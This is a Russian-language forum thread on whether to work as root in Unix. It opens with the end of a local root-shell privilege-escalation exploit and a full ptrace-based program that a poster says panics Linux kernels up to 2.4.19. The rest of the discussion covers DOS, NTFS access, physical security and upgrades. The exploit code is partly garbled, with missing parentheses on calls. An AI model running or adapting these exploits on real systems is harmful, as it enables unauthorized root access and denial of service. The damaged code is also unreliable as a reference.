initgroups("root", 0);
setgid(0);
setuid(0);
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
fatal("[-] Unable to spawn shell");
}
}
int main(int argc, char ** argv)
{
prepare;
signal(SIGALRM, sigalrm);
alarm(10);

parent = getpid;
child = fork;
victim = child + 1;

if (child == -1)
fatal("[-] Unable to fork");
if (child == 0)
do_child;
else
do_parent(argv[0]);
return 0;
}

Coffin

или вот попроще, приводит к kernel panic на ядрах <=2.4.19,
такие же исключения можно подобрать к ЛЮБОЙ программе
#include <sys/ptrace.h>
struct user_regs_struct
{
long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
long orig_eax, eip;
unsigned short cs, __cs;
long eflags, esp;
unsigned short ss, __ss;
};
int
main (void)
{
int pid;
char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
void (*lcall7) (void) = (void *) dos;
struct user_regs_struct d;
if (!(pid = fork
{
usleep (1000);
(*lcall7) ;
}
else
{
ptrace (PTRACE_ATTACH, pid, 0, 0);
while (1)
{
wait (0);
ptrace (PTRACE_GETREGS, pid, 0, &d);
d.eflags |= 0x4100; /* set TF and NT */
ptrace (PTRACE_SETREGS, pid, 0, &d);
ptrace (PTRACE_SYSCALL, pid, 0, 0);
}
}
return 1;
}

Ivan8209

Народ, вы достали.
Меня никто ломать не будет.
Потому что:
а) доступа извне нет;
б) всех внутри я знаю.
Если кто-то будет ломать меня, то он находится в "б",
а для этих у меня есть "утюг и паяльник".
Защищаться мне надо только от железа и некомпетентного пользователя и глючного не мною собранного софта.
От железа иначе, чем резервированием не защититься,
от пользователя --- тоже,
так как если я имею доступ к ДОСу, то и он имеет такой же доступ.
Вывод: все средства защиты идут лесом.
Шлак для меня --- это АРМ, а не сервер.
Блин! Напишу свой шелл или переработаю униховый, буду и дальше работать в ДОСе, как в недавнее время, если захочу.
Назло врагам.
Глючный софт, не выполняющий свою работу, удаляется.
Пофиг, досовый он, виндовый, линуксовый.
А неглючный не роняет даже ничем не защищённый ДОС.
Кто хочет, пускай работает с глючным софтом,
но --- если есть возможность --- не я.
Если кому-то ещё не ясно:
а) я не сисадмин;
б) я не программист.
Мне нужны не какие-то средства, а средства для работы.
Буду сисадмином, буду заморачиваться защитой от вторжений и т.п.
А пока, действует бульдозер товарища Оккамы.
---
...Я работаю антинаучным аферистом...

abrek

> а) доступа извне нет;
> б) всех внутри я знаю.
> Защищаться мне надо только от железа и некомпетентного пользователя и глючного не мною собранного софта.
Сопоставляем.
Среди категории бе есть "некомпетентные пользователи", и у них стоит тот самый "глючный не тобой собранный софт". Их ломают первыми, потом и за тебя берутся.
Утюг и паяльник отдыхают, они ведь не со зла.

Coffin

>Напишу свой шелл
с этого начинался linux :-)

Ivan8209

Железо тоже не со зла.
Так что один чёрт --- бакапиться.
---
...Я администрирую ~ ...

abrek

соединение с интернет есть? lynx запускаешь, значит есть.
проведут DoS-атаку с твоей машины, будете потом ругаться с провайдером + счёт за трафик

bobking

Ты промахнулся тредом.

Coffin

какой, б##, ##### тред переименовал, да ещё под моим ником !

Ivan8209

Каким образом?
А стенка на что?
Тогда просто придёт Админ...
С утюгом и паяльником...
---
...Я работаю антинаучным аферистом...

abrek

> Каким образом?
см. выше
обычно человек сам скачивает и запускает троян (многие "вирусы" так распространяются)
иногда самому запускать не надо, софт это сам делает
заметим, что читать почту с помощью more на некоторых терминалах может быть опасно

haus-11

Было где-то в форуме, лень искать...
63.
Hу скажите мне, какие мозги надо иметь, чтобы, получив с неизвестного адреса
письмо с пустым телом и вложенным файлом fackenkill.exe, немедленно запускать
этот файл на исполнение?!

rfgbnfy

Стоит ли работать под root'ом в *nix

А почему бы и нет ..............

stiiv

Мозгов тут не надо, всего-то понаблюдать что творят с компом некоторые тётки на работе, а потом попытаться это повторить... - угробить можно что угодно и безо всяких вирусов :-

ruler

Админы у вас - атас полный.

Coffin

сломать можно всё что угодно, в конце-концов от физического взлома защититься нельзя

pincher

Нельзя, но обычно хороший сейф сводит и такой риск к минимуму

Ivan8209

Да знаю я это, знаю.
Я же объяснял, что если у _меня_ есть доступ к ДОС,
то и у любого неменя есть такой же доступ к ДОС.
В конце концов, есть загрузка с дискетки.
А прочитать (а в последнее время, и пописать) НТФС не проблема.
Кстати, вопрос.
Как там с линуксовым доступом к НТФС.
Когда выпустят стабильный пишущий драйвер?
---
...Я работаю...

Ivan8209

Под линуксом?
Или под досом?
---
...Я работаю...

abrek

никогда, скорее всего

Ivan8209

В смысле, ему вечно дано называться "экспериментальным"?

abrek

про физический доступ, про ДОС и т.д. - возражения не совсем к месту
защититься от этого как раз можно - замки, охрана, камеры наблюдения и т.п.

Ivan8209

Собственно, так и защищаются.
---
...Я работаю...

abrek

сейчас вроде бы *DANGEROUS*
информация о том, как работает журналирование в NTFS - секретна (причём в разных версиях Windows это по-разному происходит)
если вдруг кто-то успешно проведёт reverse engeneering, то никто не машает в следующей версии опять поменять
вон, в Longhorh обещают WinFS с фичами баз данных на основе MS SQL Server

Ivan8209

> сейчас вроде бы *DANGEROUS*
А оно, вообще, работает?
А то я не проверял...
Пока...
> информация о том, как работает журналирование в NTFS - секретна
> (причём в разных версиях Windows это по-разному происходит)
У них всё секретно.
> если вдруг кто-то успешно проведёт reverse engeneering,
> то никто не машает в следующей версии опять поменять
> вон, в Longhorh обещают WinFS с фичами баз данных
> на основе MS SQL Server
Слышал, но не читал.
Вот, только нафиг?

---
...Я работаю...

abrek

> А оно, вообще, работает?
портит данные, в соответствии с описанием
> А то я не проверял...
я тоже, верю описанию и отзывам очевидцев

Ivan8209

Плохо...
Блин!

Filan

> А оно, вообще, работает?
Проверял только на чтение - что надо было, то считало.

Coffin

а зачем читать NTFS под linux'ом? можно сделать проще - проникнуть в комнату, вскрыть корпус
вынуть винт и прочитать его там где он будет читаться, а потом опять на место поставить

sergey_m

Я вот долго смотрел на этот длинный тред и пришел к выводу: стоит.
Иначе как ты будешь выполнять операции, требующие uid 0?

ruler

!

tolik1

Глеб, просвяти меня, я всегда думал, что это настраивается, кто какой uid требует или не требует за исключением особых случаев типа процесса init. Разве нет?

Coffin

ну это тебе не винды в которых sudo (только не надо говорить про runas) и uid бита нету

ppplva

Конечно. Линух - opensource, в нем все настраивается. Даже init.

abrek

Ты наверное хорошо знаешь про устройство механизмов безопасности в Windows.
Подскажи ссылки.
В MSDN Library читать пробовал дня два, ничего не понял.

Ivan8209

> btw, , как наиболее правильно обновлять весь софт? Расскажи.
Особо для неверующих.
Провёл (недели три назад) обновление 8.1 в 9.0.
Обновляется всё очень просто:
mount /mnt/cdrom
less /mnt/cdrom/UPGRADE.TXT
D.C. al Fine
---
...Я работаю...

rfgbnfy

нектромант ............
Оставить комментарий
Имя или ник:
Комментарий: